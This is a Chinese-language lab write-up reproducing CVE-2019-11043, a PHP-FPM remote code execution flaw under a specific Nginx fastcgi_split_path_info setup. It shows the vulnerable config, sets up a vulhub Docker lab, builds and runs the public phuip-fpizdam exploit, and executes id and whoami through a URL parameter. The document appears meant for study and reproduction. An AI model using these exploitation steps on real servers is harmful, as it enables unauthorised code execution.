CVE-2019-11043:PHP-FPM在Nginx特定配置下远程代码执行漏洞

0x00 漏洞介绍

nginx + php-fpm 配置不当,当nginx配置文件中有fastcgi_split_path_info模块,在处理带%0a的请求时,对换行符\n 处置不当使得将PATH_INFO值置为空,从而导致可以通过FCGI_PUTENVPHP_VALUE相结合,修改当前的php-fpm进程中的php配置,在特殊构造的配置生效的情况下可以触发任意代码执行。

0x01 影响范围

5.6 < PHP < 7.3.11
Nginx使用如下特定配置:

location ~ [^/]\.php(/|$) {
   fastcgi_split_path_info ^(.+?\.php)(/.*)$;
   fastcgi_param PATH_INFO      $fastcgi_path_info;
   fastcgi_pass   php:9000;
  }
}

0x02 环境准备

使用docker配置环境,启动nginx+php-fpm
环境链接:https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043

docker-compose build
docker-compose up -d
docker-compose ps

CVE-2019-11043:PHP-FPM在Nginx特定配置下远程代码执行漏洞_第1张图片
环境启动后,浏览器访问http://192.168.220.134:8080/index.php 打开如下界面
CVE-2019-11043:PHP-FPM在Nginx特定配置下远程代码执行漏洞_第2张图片
在kali安装go环境

apt-get install golang -y

CVE-2019-11043:PHP-FPM在Nginx特定配置下远程代码执行漏洞_第3张图片

0x03 漏洞复现

下载EXP phuip-fpizdam
Exp链接:https://github.com/neex/phuip-fpizdam

git clone https://github.com/neex/phuip-fpizdam.git

在这里插入图片描述
下载完成后进入目录下,安装并编译文件,编译完成后目录下会生成一个phuip-fpizdam可执行文件

go get -v && go build

CVE-2019-11043:PHP-FPM在Nginx特定配置下远程代码执行漏洞_第4张图片
漏洞利用,执行命令(两条命令均可),出现Done!表示命令执行完成

./phuip-fpizdam http://192.168.220.134:8080/index.php
go run . http://192.168.220.134:8080/index.php

CVE-2019-11043:PHP-FPM在Nginx特定配置下远程代码执行漏洞_第5张图片
CVE-2019-11043:PHP-FPM在Nginx特定配置下远程代码执行漏洞_第6张图片
再次返回浏览器执行命令,参数为a,可以发现命令执行成功
因为php-fpm会启动多个子进程,在访问/index.php?a=id时需要多访问几次,以访问到被污染的进程

http://192.168.220.134:8080/index.php?a=id
http://192.168.220.134:8080/index.php?a=whoami

CVE-2019-11043:PHP-FPM在Nginx特定配置下远程代码执行漏洞_第7张图片
CVE-2019-11043:PHP-FPM在Nginx特定配置下远程代码执行漏洞_第8张图片

你可能感兴趣的:(漏洞复现)